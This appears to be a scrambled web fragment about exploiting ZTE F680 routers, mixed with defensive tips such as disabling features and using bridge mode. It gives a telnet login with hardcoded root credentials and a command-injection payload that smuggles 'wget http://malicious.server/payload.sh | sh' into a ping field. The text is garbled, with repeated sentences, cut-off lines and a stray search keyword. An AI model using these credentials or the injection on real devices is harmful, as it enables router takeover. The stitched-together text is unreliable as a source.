The attacker tries the hardcoded credentials: telnet 192.168.1.1 Login: root Password: Zte521
However, knowledge is defense. By testing your router, disabling dangerous features, and ideally putting the device in bridge mode behind a modern router, you can render these exploits useless. Do not wait for your ISP to act. The tools to break into your router are publicly available on GitHub. The only thing standing between your network and a remote attacker is the configuration you set today. zte f680 exploit
A neighbor within Wi-Fi range (or a malicious IoT device in the home). The attacker tries the hardcoded credentials: telnet 192
command=ping&IPAddr=8.8.8.8; wget http://malicious.server/payload.sh | sh & disabling dangerous features